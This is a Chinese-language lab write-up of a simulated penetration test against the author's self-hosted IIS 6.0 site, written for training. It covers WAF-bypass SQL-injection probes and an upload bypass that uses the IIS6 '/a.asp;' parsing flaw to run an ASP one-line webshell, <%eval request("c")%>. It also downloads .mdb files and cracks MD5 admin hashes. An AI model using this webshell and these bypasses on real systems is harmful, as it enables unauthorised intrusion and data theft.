记录一次简单靶场模拟渗透
前言:这是作者学习过程中的部分笔记,欢迎大佬指出问题,文章中的靶场环境均为自己搭建
声明:该笔记只是为了技术交流,文章中所有的操作请在自己搭建的靶场中复现。请勿用于其他非法用途,更不要用于攻击他人电脑和服务器。文章未经作者授权,禁止转载。
ps:B站什么时候可以支持MD文档啊!!!
(投稿里还有js的代码检查,为啥不搞一个代码块模块啊,连xss注入的实例代码都不让放,写文档有点麻烦啊!!!)
实验设备:
win service 03: ip 192.168.0.200(虚拟机设备,提供靶场环境)
win 10: ip 192.168.0.1(物理机,进行渗透测试 ps:实战建议不直连)
访问目标网址(192.168.0.200:8043, 对应实战上传)
进入网页后,先判断一下搭建网站的容器。
直接检查网页元素,查看net信息(一般需要刷新一下网页才会显示响应信息)。查看响应头中的server信息,知道了是iis6.0的版本(实战环境中一般会隐去这些信息,需要通过其他方式判断,比如页面保存版本或AWVS直接扫)。
知道了服务器信息,就可以开始走流程了,直接上御剑扫网站,看看能爆出一些什么目录。
稍微浏览一下网页,判断一些可能存在的漏洞:
1.SQL注入漏洞
随便找了一些目录访问图片,发现url上存在"?id=21",判断该位置存在SQL注入。复制url,丢给sqlmap跑一下,试试看能不能搞点数据库的信息出来。
刚开始跑就提示网站有waf拦截了,还建议握用sqlmap的tamper模块,不过既然都是模拟一次实战,那还是少借助一点自动化工具,尝试手工注入(看看能不能绕过waf拦截)。
2.可能存在的xss漏洞

我们在导航栏发现了在线留言的标签,一般来说,这种界面都会有表单提交的地方,这里可能存在xss漏洞
进入界面后,发现了表单提交的位置。可以简单测试一下是否有xss漏洞。

提交后,界面并没有出现任何提示,估计存在代码过滤,可以尝试闭合标签来执行js,这里暂时不继续尝试。
手工尝试sql注入
浏览界面后,发现这些界面并没有太多可操作的地方,就先尝试进行sql注入。随便找一个url存在"?id="的界面开始进行手工注入。
首先是经典的注入点判断
' -0 and 1=1
好了,现在都出现防注入提示了,看来这个位置确实可以进行sql注入,只要能够绕过waf就可以对数据库的信息进行爆破了。

甚至还有记录ip的界面提示(难道不应该悄悄的记录ip然后封掉吗,哈哈),幸好我现在只是自己的靶场环境,要是实战,估计得使用ip代理池了。再分析一下界面反馈的信息,提交数据里面反馈了我们常用的sql注入点判断的符号,感觉是用黑名单的方式过滤字符,可以试试其他的敏感字符。
测试一番后,发现常用的字符全都被ban掉了,那么只有开始尝试经典的sql绕过了。
既然开始sql绕过,那么我们可以选择使用firefox便携渗透版(方便进行字符编码)。
尝试大小写无果,选择同时使用大小写和url编码
结果依旧拦截。
尝试二次编码绕过,发现字符黑名单里还有“%”,看来这个代码防护还是比较到位的。后续又尝试加入垃圾字符干扰识别,超出waf拦截长度,内联注释注入,均无法实现绕过。初步判断对字符串的识别是整体识别的情况,出现敏感字符就进行拦截。
继续尝试,%0a %00 %0b 对关键字进行截断。
%0a :使用%0a进行截断成功,但是sql语句中并没有将这个空格给拼接起来,或许是数据库版本问题,导致最终and变成了a nd,虽然绕过了waf,但是并不能正常执行sql语句
%00 :使用%00进行截断成功,但是文件对后续内容也进行截断了。相当于只获取到了%00之前的字符,自然被截断的关键字没有被waf检查,但是由于字符不完整也不能在sql里执行
%0b :使用%0b进行截断成功,成功绕过了waf,但依旧不能正常执行,甚至报错显示中也出现了完整的sql注入语句,但依旧不能正常执行,暂时不知道原因
上述的提交方式都是get,我们尝试一下用post进行提交(勾选firefox的post data选项,变换提交方式)。重复上述操作,发现存在和get一样的敏感词检测。看来post这条路也不太好走,所以选择最后一种cookie注入。但是目前的界面并不存在需要cookie的情况。
御剑目录扫描分析
刚进入网站的时候,我们就使用御剑进行目录扫描,现在看看有些什么东西。
笔者的扫描字典比较小,字典越大扫描出来的信息越多。当然这只是一次简单的模拟,所以这些信息也足够了。我们分析一下这些网页目录,看看有哪些是比较有用的东西。浏览一圈过后,我们将目标锁定在了
/database、/user、/inc、/myadmin
这几个目录明显里面还有内容,并且可能存在敏感信息,所以我们选择对这几个目录进行二级目录扫描。
扫了几个目录后都没发现什么有用的东西(还是得大字典才能多扫点东西出来),直到对/myadmin进行扫描后,我们获得了一些有趣的信息。
从扫描出来url,我们可以尝试猜测
/upfile.asp、upload_flash.asp是和文件上传有关的网页,该网页可能存在文件上传漏洞;
/admin_login.asp可能是一个管理员登陆界面,我们可以尝试登陆后台;
/ewebeditor.asp可能是一个编辑器,我们可以看看是否存在编辑器漏洞;
根据扫描出来的url,我们逐个去访问看看是否存在可利用的漏洞。
一番浏览过后,我们找到了一些有意思的界面,这些界面都存在交互的地方,既然有交互,那么我们就有操作的机会了。

文件上传界面,看来有机会传图片马上去。
编辑器界面,低版本的编辑器说不定有exp可以直接秒。
找到登陆界面了,说不定有弱口令密码,和一些绕过的机会。

一个文件上传的界面,虽然没有提交按钮,或许我们可以直接上传asp脚本文件。
一个编辑器的管理员登陆界面,如果能够进入,那么我们就可以修改编辑器的文件限制了。
既然发现了这些界面,那么我们首先尝试上传图片是否有提权的可能。
上传图片马
先浅浅的试一下,这个上传界面能否正常使用。我们先选择一张正常的图片上传。

结果返回该界面提示,很奇怪,连正常的jpg图片都不能上传。我们使用burpsuite抓包看看,是否有其它的文件允许上传。
我们将抓到的包转发到repeater中,点击“send to repeater”.
修改filename中的文件后缀,看看允许哪些文件上传。
几番尝试过后,好像所有文件都不允许上传,甚至txt也不可以。难道这个上传接口是用来迷惑入侵网站的人员的?我们再分析一下包头数据
目标锁定在filepath和filelx上,filepath是文件存储路径,“/”代表存储在根目录中,filelx又是用来干什么的呢?百度一下,这好像也是用来验证文件类型的,我们在下面添加“jpg”以允许图片上传
再次尝试上传图片,send修改后的数据包
现在图片能够正常上传了。
为了防止这个反馈信息是用来迷惑我们的,所以我们选择复制该文件路径尝试访问一下
ok,现在图片也能正常访问,那么我们可以开始尝试上传图片马了。
依旧是使用burpsuite进行抓包,在repeater中对数据包进行修改。
从这个位置往下,都是图片的数据信息,我们选择在数据的末尾插入一句话木马
<%eval request("c")%> //asp的一句话
当然,直接这样是无法使用一句话木马的,因为服务器默认该文件为jpg,所以会以jpg的格式解析该文件,那么我们的一句话就不会起作用。因此,我们需要借助一些文件解析漏洞,来诱导服务器将我们上传的文件以脚本的格式进行解析。
还记得我们之前发现的服务器容器吗?iis6.0存在目录解析漏洞,filepath的路径绕过。我们尝试从filepath进行绕过。
原来的filepath为“/”,即根目录
我们将其修改为“/a.asp;”,由于服务器存在的解析漏洞,在解析文件时将不会识别“;”后的字符。所以服务器会将文件以.asp的格式进行解析,但上传文件时又是.jpg的后缀,可以正常上传文件。
我们send一下修改后的数据包,
文件名以我们期望的方式出现了,复制一下路径,访问看看
网站没有正常显示图片,而是一些乱码,看来依旧成功让服务器以脚本的格式解析我们上传的文件了。还记得我们在图片数据最后加的一句话木马吗,复制该网页的路径,打开菜刀连接该网页。
“c”为一句话中request的请求字符(可自定义),选择脚本类型后,添加shell
现在已经成功用菜刀连接到这个网站了,如果网站有足够的权限,我们甚至可以浏览整个服务器的文件
双击刚才在菜刀中添加的shell,进入以下界面
好像我们可以访问整个服务器上的文件了,也就是win server03靶机上的所有文件。
到这一步,基本上后续的提权也不算困难了,因为我们可以借助菜刀直接向网站上传文件,无论是大马还是利用msf生成payload,都可以很轻松的上传我们的攻击文件,后续操作就不描述了,因为这次靶场模拟主要是为了练习部分的web渗透技能。
一些练习的反思
ps:菜刀其实有几个上位替代,比如蚁剑、冰蝎、哥斯拉,感兴趣可以用一下试试,笔者主要是为了练习技能,所以渗透工具并不是都用的最新的
SQL注入绕过
在上述的绕过中,我们其实没有实现sql注入攻击(虽然最终还是成功获取了shell),因为有个waf拦截一直没有找到绕过的方法。既然现在已经完成了靶场,那么我们来分析一下源代码,看看这个防注入的代码思路。
完整代码笔者就不展示了,这里给一下关键代码截图。
果然,防御是黑名单的防御措施,直接对输入的字串进行过滤,出现敏感字符就直接拦截报错。代码中post和get使用的是同一种防御机制,但是没有进行cookie防御,也就是说,存在cookie注入。那么我们在表单提交需要使用cookie的时候就可以进行cookie注入,获取部分信息。
当然,最重要的还是waf绕过,不过笔者并不是很了解asp脚本代码,暂时不知道如何绕过,后续研究清楚后会尝试能否有好的姿势绕过。
关于御剑扫描结果的利用
其实除了上述提到的目录,御剑扫描还有一些其他的有用信息

各位是否注意到了这几个url后缀-- .mdb
这几个是典型的数据库文件,通过直接访问(如果网站管理员没有设置访问权限的话),我们可以下载.mdb文件

该靶场中,我们没有限制文件下载。所以我们将.mdb文件下载到本地,借助某些工具打开(比如辅臣)

在数据库没有设置密码的情况下,我们可以直接查看数据库的信息

例如System这个表中,就存储着管理员信息(当然,根据.mdb的名字,这个数据库是编辑器的数据库)。里面的一些信息很明显是md5加密过的,借助md5解密网站,可以获取相应的明文信息。

拿到明文信息后,我们可以尝试登陆一下编辑器后台
还记得我们之前扫出来的一个编辑器管理员登陆界面吗
url:http://192.168.0.200:8043/myadmin/Editor/admin_login.asp

登陆成功,果然我们拿到的是编辑器的数据库。进入编辑器后台

我们现在可以对编辑器进行一些操作,使得我们可以上传一些文件,修改一些设置,更方便我们获取网站权限。
所以目录扫描还是得大字典,这样信息获取的更多,攻击点也更多。